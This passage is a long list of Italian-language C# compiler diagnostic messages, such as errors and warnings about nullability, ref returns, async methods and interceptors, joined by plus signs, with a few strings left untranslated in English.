metodi asincroni + Negli attributi cref è necessario qualificare i tipi annidati di tipi generici + L'albero delle espressioni non può contenere una specifica di argomento denominato + Il tipo di destinazione non è valido per /target. È necessario specificare 'exe', 'winexe', 'library' o 'module' + Impossibile effettuare un'assegnazione a un campo statico in sola lettura (tranne che in un costruttore statico o in un inizializzatore di variabile) + Non è possibile accedere al membro '{0}' con un riferimento all'istanza. Qualificarlo con un nome di tipo + È probabile che l'assegnazione alla variabile locale, che rappresenta l'argomento di un'istruzione using o lock, non sia corretta + Al membro obbligatorio '{0}' non deve essere attribuito 'ObsoleteAttribute' a meno che il tipo contenitore sia obsoleto o che tutti i costruttori siano obsoleti. + Una funzione anonima statica non può contenere un riferimento a '{0}'. + Il controllo non può lasciare il corpo di una clausola finally + Il parametro '{0}' viene catturato nello stato del tipo di inclusione e il relativo valore viene passato anche al costruttore di base. Il valore potrebbe essere catturato anche dalla classe di base. + Il nodo Syntax non è compreso nell'albero della sintassi + I valori restituiti per riferimento possono essere usati solo in metodi che vengono restituiti per riferimento + Possibile restituzione di riferimento Null. + Non è possibile usare il tipo '{3}' come parametro di tipo '{2}' nel metodo o nel tipo generico '{0}'. Il supporto dei valori Null dell'argomento di tipo '{3}' non corrisponde al tipo di vincolo '{1}'. + L'espressione specificata corrisponde sempre al criterio specificato. + Il tipo '{0}' non può essere dichiarato come const + Non confrontare valori del puntatore a funzione + I metodi asincroni non possono avere parametri in, our o ref + Control non può uscire dall'opzione dall'etichetta case finale ('{0}') + La direttiva using per '{0}' è già presente in questo spazio dei nomi + La proprietà, l'indicizzatore o l'evento '{0}' non è supportato dal linguaggio. Provare a chiamare direttamente il metodo della funzione di accesso '{1}' + La proprietà, l'indicizzatore o l'evento '{0}' non è supportato dal linguaggio. Provare a chiamare direttamente i metodi della funzione di accesso '{1}' o '{2}' + '{0}': non sono consentite conversioni definite dall'utente da o verso un'interfaccia + Non usare refout quando si usa refonly. + Non è possibile usare il parametro ref, out o in '{0}' all'interno di un metodo anonimo, di un'espressione lambda, di un'espressione di query o di una funzione locale + Il risultato dell'espressione è sempre 'null' + Non è stato possibile creare il modulo '{0}': {1} + espressione throw + Il metodo '{0}' non può implementare la funzione di accesso di interfaccia '{1}' per il tipo '{2}'. Usare un'implementazione esplicita dell'interfaccia. + attributi di funzione locale + L'alias '{0}' è in conflitto con la definizione di {1} + '{0}' non contiene una definizione per '{1}' + La costante integrale è troppo grande + Il file non è stato trovato. + Una dichiarazione non è consentita in questo contesto. + Un punto di ingresso che restituisce void o int non può essere asincrono + Il commento XML ha un tag paramref, ma non esiste nessun parametro di tipo con questo nome + Il nome locale è troppo lungo per PDB + L'attributo Guid deve essere specificato con l'attributo ComImport + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' non corrisponde al membro di cui è stato eseguito l'override. + Impossibile produrre un valore nel corpo di un blocco try con una clausola catch + L'implementazione dell'interfaccia esplicita corrisponde a più di un membro di interfaccia + Non è possibile specificare /main se si compila un modulo o una libreria + Non è possibile usare una raccolta di tipo dinamico in un'istruzione foreach asincrona + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro implementato in modo implicito. + Type viene usato solo a scopo di valutazione e potrebbe essere modificato o rimosso in aggiornamenti futuri. Elimina questa diagnostica per continuare. + funzione anonima statica + L'argomento {0} deve essere passato con la parola chiave 'ref' o 'in' + Un'espressione di tipo '{0}' non è consentita in una clausola from successiva in un'espressione di query con tipo di origine '{1}'. L'inferenza del tipo non è riuscita nella chiamata a '{2}'. + operatore di propagazione Null + Gli assembly '{0}' e '{1}' fanno riferimento agli stessi metadati ma solo uno è un riferimento collegato (specificato con l'opzione /link). Provare a rimuovere uno dei riferimenti. + tipi restituiti covarianti + covariante + Elenco di argomenti imprevisto. + Nei record non sono consentiti membri denominati 'Clone'. + I campi buffer a dimensione fissa possono essere membri solo di struct + Un albero delle espressioni non può contenere una conversione di tupla. + La riga non inizia con lo stesso spazio vuoto della riga di chiusura del valore letterale stringa non elaborata. + membri astratti statici nelle interfacce + Non è possibile leggere il file di configurazione '{0}' - '{1}' + La chiamata dell'indicizzatore di indice implicito non può assegnare un nome all'argomento. + Le espressioni lambda asincrone non possono essere convertite in alberi delle espressioni + Il parametro di tipo '{1}' ha il vincolo 'struct'. Non è quindi possibile usare '{1}' come vincolo per '{0}' + membro di istanza in 'nameof' + Il tipo predefinito '{0}' non è definito né importato + Con l’operazione può verificarsi un overflow '{0} 'in fase di esecuzione. Usare la sintassi 'unchecked' per eseguire l'override + Un possibile valore Null non può essere usato per un tipo contrassegnato con [NotNull] o [DisallowNull] + La funzione di accesso 'init' non è valida nei membri statici + L'argomento di tipo non può essere Null + Una dichiarazione di alias extern deve precedere tutti gli altri elementi definiti nello spazio dei nomi + L'opzione '{0}' non è valida per /platform. Specificare anycpu, x86, Itanium, arm, arm64 o x64 + L'argomento dell'attributo '{0}' deve essere un identificatore valido + variabili ciclo for ref + CallerMemberNameAttribute applicato al parametro '{0}' non avrà alcun effetto. CallerFilePathAttribute ne eseguirà l'override. + È possibile accedere agli elementi di un tipo matrice inline solo con un singolo argomento convertibile in modo implicito in 'int', 'System.Index' o 'System.Range'. + Accessibilità incoerente: il tipo restituito '{1}' è meno accessibile del delegato '{0}' + Non è possibile applicare l'attributo di sicurezza '{0}' a un metodo Async + Gli attributi di modulo e assembly devono precedere tutti gli altri elementi definiti in un file ad eccezione delle clausole using e delle dichiarazioni di alias extern + Non è possibile usare il tipo in questo contesto perché non può essere rappresentato nei metadati. + È stato creato un riferimento all'assembly di interoperabilità incorporato a causa di un riferimento indiretto a tale assembly + Il membro struct restituisce 'questo' o altri membri di istanza per riferimento + Il tipo non gestito '{0}' è valido solo per i campi. + Non è stato possibile individuare la directory di output + I valori letterali stringa non elaborati su più righe devono contenere almeno una riga di contenuto. + Il secondo operando di un operatore 'is' o 'as' non può essere di tipo statico '{0}' + L'operatore unario di overload '{0}' accetta un parametro + Non è possibile usare il tipo unsafe '{0}' nella creazione di oggetti + I numeri di riga e di carattere specificati per InterceptsLocationAttribute devono essere positivi. + L'espressione che gestisce lo switch deve essere racchiusa tra parentesi. + Uso del parametro out '{0}' non assegnato + controvariante + Il parametro '{0}' non è stato letto. + L'attributo Conditional non è valido per i membri di interfaccia + Non è possibile modificare il risultato di una conversione unboxing + ref e out non sono validi in questo contesto + Il tag finale '{0}' non corrisponde al tag iniziale '{1}'. + La parte destra dell'assegnazione di un'istruzione fixed non può essere un'espressione cast + metodi di estensione ref + Non è possibile modificare i membri del campo di sola lettura '{0}' (tranne che in un costruttore o in un inizializzatore di variabile) + Se il riferimento all'assembly '{0}' usato da '{1}' corrisponde all'identità '{2}' di '{3}', potrebbe essere necessario fornire i criteri di runtime + Le cardinalità dei tipi di tupla usati come operandi di un operatore == o != devono essere uguali, ma questo operatore presenta tipi di tupla con cardinalità {0} sulla sinistra e {1} sulla destra. + Il valore '{0}' di SecurityAction non è valido per gli attributi di sicurezza applicati a un assembly + '{0}' non esegue l'override del metodo previsto da 'object'. + La variabile di intervallo '{0}' è in conflitto con una dichiarazione precedente di '{0}' + GetAsyncEnumerator dell'estensione + Il tipo '{2}' deve essere un tipo valore che non ammette i valori Null, unitamente a tutti i campi a ogni livello di annidamento, per poter essere usato come parametro '{1}' nel tipo o metodo generico '{0}' + Il nome di tipo o di spazio dei nomi '{0}' non è stato trovato. Probabilmente manca una direttiva using o un riferimento all'assembly. + È prevista la parola chiave contestuale 'on' + È prevista la parola chiave contestuale 'by' + Non è possibile usare il tipo '{3}' come parametro di tipo '{2}' nel metodo o nel tipo generico '{0}'. Non esistono conversioni boxing da '{3}' a '{1}'. + Il metodo di estensione deve essere statico + Tipo restituito non valido nell'attributo cref del commento XML + '{0}' è obsoleto: '{1}' + L'assembly {0} non contiene analizzatori. + Il corpo di un metodo di iteratore asincrono deve contenere un'istruzione 'yield'. + in covarianza + È stato creato un riferimento all'assembly di interoperabilità '{0}' incorporato a causa di un riferimento indiretto a tale assembly creato dall'assembly '{1}'. Provare a modificare la proprietà 'Incorpora tipi di interoperabilità' in uno degli assembly. + Limite di 16.707.565 righe rappresentabili nel PDB superato nel file di origine: le informazioni di debug non saranno corrette + raccolta + Non usare 'System.Runtime.CompilerServices.DynamicAttribute'. Usare la parola chiave 'dynamic'. + '{0}' non può essere contrassegnato come conforme a CLS perché l'assembly non ha un attributo CLSCompliant + Non è possibile assegnare un riferimento '{1}' a '{0}' perché '{1}' può eseguire l'escape solo del metodo corrente tramite un'istruzione return. + La versione del linguaggio specificata non è supportata o non è valida: '{0}'. + È prevista l'istruzione di dichiarazione o l'espressione. + Il modificatore 'scoped' del parametro '{0}' non corrisponde alla dichiarazione di metodo parziale. + Non è possibile assegnare un valore alla proprietà o all'indicizzatore '{0}' perché è di sola lettura + Il tipo restituito di un metodo, delegato o puntatore a funzione non può essere '{0}' + È previsto un accesso a un membro semplice o a un identificatore. + In questo modo viene restituito il valore locale '{0}' per riferimento, ma non è un riferimento locale + Riferimento analizzatore specificato più volte + Le dichiarazioni di metodo parziali contengono un supporto dei valori Null incoerente nei vincoli per il parametro di tipo + Accessibilità incoerente: il tipo di campo '{1}' è meno accessibile del campo '{0}' + L'opzione /pdb richiede che venga specificata anche l'opzione /debug + 'L'espressione specificata dell'espressione 'is' è sempre del tipo fornito + Non è possibile usare una direttiva using globale in una dichiarazione dello spazio dei nomi. + #pragma + Il tipo '{0}' deve essere pubblico per poterlo usare come convenzione di chiamata. + Il membro obbligatorio '{0}' deve essere impostabile. + Ogni risorsa e ogni modulo collegato devono avere un nome file univoco. Il nome file '{0}' è specificato più di una volta in questo assembly + Chiamare System.IDisposable.Dispose() sull'istanza allocata prima che tutti i relativi riferimenti siano esterni all'ambito + Non è possibile specificare i modificatori 'readonly' in entrambe le funzioni di accesso della proprietà o dell'indicizzatore '{0}'. Inserire invece un modificatore 'readonly' nella proprietà stessa. + funzionalità obsoleta nella funzione di accesso proprietà + Il tipo restituito del metodo del gestore di stringhe interpolate '{0}' è incoerente. Dovrebbe essere restituito '{1}'. + Un'espressione lambda dell'albero delle espressioni non può contenere una chiamata COM con argomenti privi di ref + Non è possibile dichiarare il parametro params come {0} + In un'istruzione foreach sono necessari sia il tipo che l'identificatore + Argomento {0}: non è possibile convertire da '{1}' a '{2}' + Le specifiche di argomenti denominati devono trovarsi dopo tutti gli argomenti fissi specificati. Usare la versione {0} o versioni successive del linguaggio per consentire argomenti denominati non finali. + La stringa deve iniziare con le virgolette: " + I vincoli per il parametro di tipo '{0}' del metodo '{1}' devono corrispondere ai vincoli per il parametro di tipo '{2}' del metodo di interfaccia '{3}'. Provare a usare un'implementazione esplicita dell'interfaccia. + Non è possibile restituire la variabile di intervallo '{0}' per riferimento + Il supporto dei valori Null dei tipi riferimento nel tipo non corrisponde al membro implementato '{0}'. + Gli iteratori non possono contenere codice unsafe + Un intercettore non può essere contrassegnato con 'UnmanagedCallersOnlyAttribute'. + Non è possibile usare l'operatore typeof nel tipo riferimento nullable + Il costrutto __arglist è valido solo all'interno di un metodo con argomenti variabili + Non è possibile determinare il tipo di espressione condizionale perché '{0}' e '{1}' sono reciprocamente convertibili in modo implicito + Un possibile valore Null non può essere usato per un tipo contrassegnato con [NotNull] o [DisallowNull] + gestori di stringhe interpolate + 'Non è possibile usare 'new' con il tipo tupla. Usare un'espressione letterale di tupla. + Token '{0}' imprevisto + L'espressione deve essere di tipo '{0}' per essere uguale al valore ref alternativo + In questo contesto non è possibile usare la variabile locale o la funzione locale '{0}' dichiarata in un'istruzione di primo livello. + '{0}' non può derivare dal tipo sealed '{1}' + Il modificatore 'ref' per l'argomento {0} corrispondente al parametro 'in' equivale a 'in'. Provare a usare 'in'. + stackalloc in espressioni annidate + Il punto di ingresso del debug deve essere una definizione di un metodo nella compilazione corrente. + In più dichiarazioni della struct parziale non è stato definito nessun ordinamento tra campi + Se il riferimento all'assembly '{0}' usato da '{1}' corrisponde all'identità '{2}' di '{3}', potrebbe essere necessario fornire i criteri di runtime + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro implementato. + Non è possibile convertire il gruppo di metodi nel puntatore a funzione. Manca un operatore '&'? + Il commento XML ha un tag typeparam per '{0}', ma non esiste nessun parametro di tipo con questo nome + È necessario specificare il parametro di attributo '{0}' o '{1}'. + È necessario specificare il parametro di attributo '{0}'. + metodo con corpo di espressione + Non è possibile usare il parametro del costruttore primario '{0}' con un tipo simile a ref all'interno di un membro di istanza + L'elemento CallerFilePathAttribute non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + Non è possibile compilare i moduli .NET quando si usa /refout o /refonly. + Non è possibile usare il tipo '{3}' come parametro di tipo '{2}' nel tipo o metodo generico '{0}'. Il tipo nullable '{3}' non soddisfa il vincolo di '{1}'. I tipi nullable non soddisfano i vincoli di interfaccia. + Nel file dei commenti incluso è presente codice XML in formato errato + Lo spazio dei nomi '{1}' contiene una definizione in conflitto con l'alias '{0}' + Il nome di assembly {0} non è valido + Un albero delle espressioni non può contenere una funzionalità discard. + criterio not + Argument should be passed with the 'in' keyword + L'uso di 'is' per la verifica della compatibilità con 'dynamic' corrisponde in sostanza alla verifica della compatibilità con 'Object' + Il metodo parziale '{0}' deve contenere una parte di implementazione perché include modificatori di accessibilità. + Una direttiva using dello spazio dei nomi può essere applicata solo a spazi dei nomi. '{0}' è un tipo, non uno spazio dei nomi. Provare a usare una direttiva 'using static' + Non è possibile usare i membri del campo di sola lettura '{0}' come valore out o ref (tranne che in un costruttore) + Errore nella sintassi della riga di comando: il formato del GUID '{0}' non è valido per l'opzione '{1}' + Non usare '_' per fare riferimento al tipo in un'espressione is-type. + Non è possibile usare un valore letterale predefinito 'default' come criterio. Usare un altro valore letterale, ad esempio '0' o 'null'. Per abbinare tutto, usare un criterio di rimozione '_'. + Negli attributi cref è necessario qualificare i tipi annidati di tipi generici. + CallerLineNumberAttribute può essere applicato solo a parametri con valori predefiniti + Il risultato dell'espressione è sempre '{0}' perché un valore di tipo '{1}' non è mai uguale a 'null' di tipo '{2}' + Non è possibile restituire un valore da un iteratore. Usare l'istruzione yield return per restituire un valore o l'istruzione yield break per terminare l'iterazione. + Il generatore non è riuscito a generare l'origine. + È previsto 'disable' o 'restore' + L'opzione '{0}' deve essere un percorso assoluto. + La versione {0} non è valida per /subsystemversion. La versione deve essere 6.02 o successiva per ARM o AppContainerExe e 4.00 o successiva negli altri casi + Dichiaratore di membro di inizializzatore non valido + vincoli di tipo generico enumerazione + Il formato dell'opzione pathmap non è corretto. + Il tipo di buffer a dimensione fissa deve essere uno dei seguenti: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float o double + Questa combinazione di argomenti di '{0}' non è consentita perché potrebbe esporre variabili cui viene fatto riferimento dal parametro '{1}' all'esterno dell'ambito della dichiarazione + Non è possibile convertire il valore costante '{0}' in '{1}' + Non è possibile passare l'argomento {0} con la parola chiave '{1}' + Non è possibile usare la proprietà o l'indicizzatore '{0}' in questo contesto perché la funzione di accesso get non è accessibile + funzioni locali + Il riferimento che restituisce le proprietà non può essere obbligatorio. + tuple + alias extern + L'elemento di inclusione XML non è valido - {0} + Un parametro di tipo nullable deve essere noto per essere un tipo valore o un tipo riferimento non nullable, a meno che non venga usata la versione '{0}' o successiva del linguaggio. Provare a cambiare la versione del linguaggio o ad aggiungere un vincolo di tipo, 'class' o 'struct'. + La grandezza del valore di allineamento è tale da comportare la creazione di una stringa formattata di grandi dimensioni + Un albero delle espressioni non può contenere un accesso o una conversione di matrice inline + Il tipo rilevato o generato deve derivare da System.Exception + Non sono stati specificati file di origine + L'attributo '{0}' viene ignorato quando si specifica la firma pubblica. + Il buffer a dimensione fissa di lunghezza {0} e di tipo '{1}' è troppo grande + '{0}' non può implementare '{1}' perché non è supportato dal linguaggio + La funzionalità '{0}' non è disponibile in C# 8.0. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile in C# 9.0. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile C# 2. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile C# 3. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile in C# 1. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile C# 6. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile C# 7.0. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile in C# 4. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile C# 5. Usare la versione {1} o versioni successive del linguaggio. + Il metodo '{0}' specifica un vincolo 'struct' per il parametro di tipo '{1}', ma il parametro di tipo corrispondente '{2}' del metodo '{3}' sottoposto a override o implementato in modo esplicito non è un tipo valore che non ammette valori Null. + opzione /LIB + L'attributo Conditional non è valido per '{0}' perché il tipo restituito non è void + L'intercettore non deve avere un parametro 'this' perché '{0}' non ha un parametro 'this'. + criterio di tipo + Non è possibile usare una risorsa di istruzione using di tipo '{0}' in metodi asincroni o espressioni lambda asincrone. + Non è possibile applicare l'attributo DllImport a un metodo generico o contenuto in un tipo o un metodo generico. + Il costruttore struct senza parametri deve essere 'public'. + Uso della variabile locale '{0}' non assegnata + Una proprietà o un indicizzatore che non restituisce ref non possono essere usati come valori out o ref. + Il membro esegue l'override del membro di base con più candidati di override in fase di esecuzione + Non è possibile restituire '{0}' per riferimento perché è '{1}' + Ignora il caricamento dei tipi nell'assembly dell'analizzatore che non riescono a causa di un'eccezione ReflectionTypeLoadException + Il campo dell'elemento della matrice inline non può essere dichiarato come obbligatorio, di sola lettura, volatile o come buffer a dimensione fissa. + Un metodo contrassegnato con [DoesNotReturn] non deve essere terminare normalmente. + Le istruzioni di primo livello possono essere presenti solo in un'unica unità di compilazione. + Non è possibile dichiarare parametri o variabili locali di tipo '{0}' in metodi asincroni o espressioni lambda asincrone. + Non sono state trovate dichiarazioni di definizione per la dichiarazione di implementazione del metodo parziale '{0}' + implementazione di interfaccia predefinita + Il riferimento al tipo '{0}' dichiara di essere definito in questo assembly, ma non è definito nell'origine né nei moduli aggiunti + Non è possibile passare Null per il nome assembly Friend + Il valore predefinito specificato non avrà effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + Il valore restituito deve essere non Null perché il parametro è non Null. + Il blocco switch è vuoto + '{0}': un tipo astratto non può essere sealed o static + L'introduzione di un metodo 'Finalize' può interferire con la chiamata di un distruttore + Impossibile utilizzare l'oggetto 'this' prima dell'assegnazione di tutti i relativi campi. Provare a eseguire l'aggiornamento alla versione del linguaggio '{0}' per impostare come predefiniti automaticamente i campi non assegnati. + Sequenza di caratteri '@' non consentita. Una stringa o un identificatore verbatim può contenere un solo carattere '@' e una stringa non elaborata non può contenere alcun carattere. + Il file di origine può contenere solo una dichiarazione di spazio dei nomi con ambito file. + L'espressione specificata corrisponde sempre al criterio specificato. + Occorre specificare un inizializzatore nella dichiarazione di un'istruzione fixed o using + Il tipo restituito per l'operatore ++ o -- deve essere uguale o derivare dal tipo che lo contiene + Varianza non valida: il parametro di tipo '{1}' deve essere {3} valido in '{0}'. '{1}' è {2}. + I membri obbligatori non sono consentiti al primo livello di uno script o di un invio. + '{0}': le conversioni definite dall'utente nel o dal tipo dinamico non sono consentite + AppConfigPath deve essere assoluto. + Gli attributi destinati a campi su proprietà automatiche non sono supportati nella versione {0} del linguaggio. Usare la versione {1} o superiore. + '{0}': l'evento astratto non può usare la sintassi della funzione di accesso agli eventi + Non è possibile usare l'attributo [EnumeratorCancellation] in più parametri + L'uso del membro del risultato di '{0}' in questo contesto può esporre variabili a cui fa riferimento il parametro '{1}' all'esterno del relativo ambito di dichiarazione + CallerFilePathAttribute applicato al parametro '{0}' non avrà alcun effetto. CallerLineNumberAttribute ne eseguirà l'override. + L'istruzione vuota è probabilmente errata + attributi lambda + Non è possibile convertire un'espressione lambda con attributi in un albero delle espressioni + Non è possibile usare il tipo '{3}' come parametro di tipo '{2}' nel metodo o nel tipo generico '{0}'. Non esistono conversioni boxing o conversioni di parametri di tipo da '{3}' a '{1}'. + Nel file dei commenti incluso è presente codice XML in formato non corretto: '{0}' + Non è possibile usare i criteri relazionali per un valore NaN a virgola mobile. + Le proprietà implementate automaticamente devono sostituire tutte le funzioni di accesso della proprietà sostituita. + Impossibile utilizzare la parola chiave 'enum' come vincolo. Si intendeva 'struct, System.Enum'? + Non è possibile usare l'espressione secondaria in un argomento di nameof. + I rami di un operatore condizionale ref non possono fare riferimento a variabili con ambiti di dichiarazione incompatibili + In un campo buffer a dimensione fissa, l'identificatore della dimensione della matrice deve trovarsi dopo il nome del campo + Puntatore funzione + direttiva #warning + Nessun overload del metodo '{0}' accetta {1} argomenti + Non è possibile applicare l'indicizzazione con [] a un'espressione di tipo '{0}' + Il valore della direttiva #line manca oppure non è compreso nell'intervallo + Attribute parameter 'SizeConst' must be specified. + '{0}' non è un vincolo valido. Un tipo usato come vincolo deve essere un'interfaccia, una classe non sealed o un parametro di tipo. + Riferimento ambiguo nell'attributo cref: '{0}'. Verrà usato '{1}', ma è anche possibile che corrisponda ad altri overload, tra cui '{2}'. + La classe '{0}' non può contenere più classi base: '{1}' e '{2}' + '{0}' esegue l'override di Object.Equals(object o) ma non esegue l'override di Object.GetHashCode() + L'intercettore non può avere un percorso di file 'null'. + Direttiva Using non necessaria. + Non è stato possibile trovare un metodo di '{0}' accessibile con la firma prevista: un metodo statico con un singolo parametro di tipo 'ReadOnlySpan<{1}>' e tipo restituito '{2}'. + Il nome '{0}' non esiste nel contesto corrente + Non esiste alcun ciclo di inclusione all'esterno del quale interrompere o continuare + L'implementazione esplicita dell'interfaccia '{0}' corrisponde a più membri di interfaccia. Il membro di interfaccia scelto dipende dall'implementazione. Provare a usare un'implementazione non esplicita. + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' non corrisponde al membro implementato '{1}', probabilmente a causa degli attributi del supporto dei valori Null. + Riferimento a un'entità '{0}' non definita. + Il formato XML del commento XML è errato - '{0}' + Le proprietà che vengono restituite per riferimento devono contenere una funzione di accesso get + I membri con attributo 'ObsoleteAttribute' non devono essere obbligatori a meno che il tipo contenitore sia obsoleto o che tutti i costruttori siano obsoleti. + Accessibilità incoerente: l'interfaccia di base '{1}' è meno accessibile dell'interfaccia '{0}' + Un albero delle espressioni non può contenere un'espressione di metodo anonimo + espressione lambda + Il parametro viene catturato nello stato del tipo di inclusione e il relativo valore viene passato anche al costruttore di base. Il valore potrebbe essere catturato anche dalla classe di base. + È prevista la definizione del tipo o dello spazio dei nomi oppure la fine del file + Valore letterale stringa non completo + Il tipo vincolo non è valido. Un tipo usato come vincolo deve essere un'interfaccia, una classe non sealed o un parametro di tipo. + Il secondo operando di un operatore 'is' o 'as' non può essere un tipo statico + L'espressione determinerà sempre un'eccezione System.NullReferenceException perché il valore predefinito del tipo è Null. + Non è possibile applicare UnscopedRefAttribute a un'implementazione di interfaccia. + is' o 'as' non valido per tipi puntatore + Il parametro di tipo ha lo stesso nome del parametro del tipo outer + Virgolette insufficienti per il valore letterale stringa non elaborato. + '{0}': le interfacce compatibili con CLS devono avere solo membri conformi a CLS + Non è possibile convertire un'espressione di metodo anonimo in un albero delle espressioni + Il file di origine è specificato più volte + In un commento è stato usata sintassi errata. + Un metodo Add di estensione non è supportato per un inizializzatore di raccolta in un'espressione lambda. + L'attributo '{0}' è valido solo in un indicizzatore che non sia una dichiarazione esplicita di un membro di interfaccia + '{0}' non è una classe Attribute + Non è possibile usare il tipo come parametro di tipo nel tipo generico o nel metodo. Il supporto dei valori Null dell'argomento tipo non corrisponde al vincolo 'notnull'. + Impossibile utilizzare il tipo anonimo in un'espressione costante + Espressioni e istruzioni possono essere usate solo in un corpo del metodo + '{0}' tipo non valido per 'using static'. È possibile usare solo una classe, una struttura, un'interfaccia, un'enumerazione, un delegato o uno spazio dei nomi. + Il tipo '{0}' non è conforme a CLS + L'operatore '{0}' è ambiguo sugli operandi '{1}' e '{2}' + Il tipo dell'argomento '{0}' non è conforme a CLS + Il parametro params deve essere una matrice unidimensionale + Il punto di ingresso del programma è codice globale. Il punto di ingresso '{0}' verrà ignorato. + Impossibile chiamare un membro di base astratto: '{0}' + Non è possibile convertire il valore Null nel parametro di tipo '{0}' perché potrebbe essere un tipo valore che non ammette i valori Null. Provare a usare 'default({0})'. + La funzionalità non fa parte della specifica del linguaggio C# standard ISO e potrebbe non essere accettata da altri compilatori + Non è possibile usare '&' su gruppi di metodi in alberi delle espressioni + Il tipo di una variabile locale dichiarata in un'istruzione fixed non può essere un tipo di puntatore a funzione. + Sono stati specificati {0} tipi di parametro e {1} tipi di modificatore ref di parametro. Queste matrici devono avere la stessa lunghezza. + Non è possibile restituire un membro della variabile locale '{0}' per riferimento perché non è una variabile locale ref + Il campo non nullable deve contenere un valore non Null all'uscita dal costruttore. Provare a dichiararlo come nullable. + '{0}' non ha una classe base e non può chiamare un costruttore base + La firma per l'elemento inizializzatore nella migliore corrispondenza del metodo di overload per '{0}' non è corretta. Il metodo Add inizializzabile deve essere un metodo di istanza accessibile. + È stata specificata la firma pubblica per la quale è necessaria una chiave pubblica, che però non è stata specificata. + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde al membro implementato in modo implicito, probabilmente a causa degli attributi del supporto dei valori Null. + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro implementato '{0}', probabilmente a causa degli attributi del supporto dei valori Null. + È previsto il segno ) + Il file di origine '{0}' non è stato trovato. + proprietà + Valore '{1}' di '{0}' non valido per C# {2}. Usare la versione {3} o versioni successive del linguaggio. + Non è possibile restituire '{0}' per riferimento perché è di sola lettura + Non è possibile usare un metodo di estensione con un ricevitore come destinazione di un operatore '&'. + CallerArgumentExpressionAttribute applicato al parametro '{0}' non avrà alcun effetto. CallerFilePathAttribute ne eseguirà l'override. + La funzione anonima convertita in un delegato che restituisce un valore nullo non può restituire un valore + Non è consentito usare il tipo 'dynamic' in un criterio. + Non è possibile usare {0} '{1}' come valore ref o out perché è una variabile di sola lettura + Impossibile chiamare direttamente i distruttori e object.Finalize. Provare a chiamare IDisposable.Dispose se disponibile. + '{0}' non può implementare il membro di interfaccia '{1}' nel tipo '{2}' perché il runtime di destinazione non supporta membri astratti statici nelle interfacce. + Impossibile intercettare il metodo '{0}' con l'intercettore '{1}' perché le firme non corrispondono. + Troppi caratteri nel valore letterale carattere + L'elemento SyntaxTree non fa parte della compilazione + Sono stati assegnati valori di checksum diversi alla direttiva #pragma + Il valore '{0}' di SecurityAction non è valido per l'attributo PrincipalPermission + Il dichiaratore di matrice è errato: per dichiarare una matrice gestita, l'identificatore del numero di dimensioni deve precedere l'identificatore della variabile. Per dichiarare un campo buffer a dimensione fissa, usare la parola chiave fixed prima del tipo di campo. + Le dichiarazioni parziali di '{0}' devono avere gli stessi nomi di parametro di tipo e modificatori di varianza nello stesso ordine + '{0}' non può derivare dalla classe speciale '{1}' + Poiché '{0}' è un metodo asincrono che restituisce '{1}', una parola chiave di restituzione non deve essere seguita da un'espressione di oggetto + Non è possibile usare '{0}' come valore out o ref perché è di sola lettura + L'inizializzatore di oggetto o di raccolta dereferenzia in modo implicito il membro Null '{0}'. + Non è stata trovata un'implementazione di un modello di query per il tipo di origine '{0}'. '{1}' non è presente. + CallerMemberNameAttribute può essere applicato solo a parametri con valori predefiniti + Il tipo è in conflitto con lo spazio dei nomi importato + Il commento XML ha un tag param per '{0}', ma non esiste nessun parametro con questo nome + Il tipo del parametro di tipo è lo stesso del parametro di tipo del metodo esterno. + Il parametro '{0}' non è specificato in modo esplicito, ma viene usato come argomento della conversione del gestore di stringhe interpolate nel parametro '{1}'. Specificare il valore di '{0}' prima di '{1}'. + Manca il commento XML per il tipo o il membro visibile pubblicamente + L'assembly '{0}' che contiene il tipo '{1}' fa riferimento a .NET Framework, che non è supportato. + Il confronto con la costante integrale è inutile. La costante non è inclusa nell'intervallo del tipo + Non è possibile usare il tipo come parametro di tipo nel tipo generico o nel metodo. Il supporto dei valori Null dell'argomento tipo non corrisponde al tipo di vincolo. + Il tipo definisce l'operatore == o l'operatore != ma non esegue l'override di Object.GetHashCode() + L'attributo verrà ignorato e verrà usata l'istanza presente nell'origine + Non è possibile aprire il file di origine '{0}' - '{1}' + L'attributo '{0}' non è valido in questo tipo di dichiarazione. È valido solo in dichiarazioni di '{1}'. + Un albero delle espressioni non può contenere un'espressione Null di coalescenza + Non è possibile dichiarare in questo ambito una variabile locale o un parametro denominato '{0}' perché tale nome viene usato in un ambito locale di inclusione per definire una variabile locale o un parametro + '{0}' è di tipo '{1}'. Un valore di parametro predefinito di un tipo riferimento non stringa può essere inizializzato solo con Null. + Non è possibile incorporare i tipi di interoperabilità dall'assembly '{0}' perché manca l'attributo '{1}' o '{2}'. + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' di '{1}' non corrisponde al delegato di destinazione '{2}', probabilmente a causa degli attributi del supporto dei valori Null. + Il tipo di vincolo '{0}' non è conforme a CLS + Per la costruzione di un gestore di stringhe interpolate non è possibile usare dynamic. Costruire manualmente un'istanza di '{0}'. + Non è possibile assegnare la proprietà o il campo statico '{0}' in un inizializzatore di oggetti + L'attributo '{0}' è duplicato + L'attributo '{0}' è valido solo in classi derivate da System.Attribute + I rami dell'operatore condizionale di riferimento fanno riferimento a variabili con ambiti di dichiarazione incompatibili + La sequenza di caratteri '...' è imprevista + Il supporto dei valori Null nei vincoli per il parametro di tipo '{0}' del metodo '{1}' non corrisponde ai vincoli per il parametro di tipo '{2}' del metodo di interfaccia '{3}'. Provare a usare un'implementazione esplicita dell'interfaccia. + Il confronto con il valore Null di 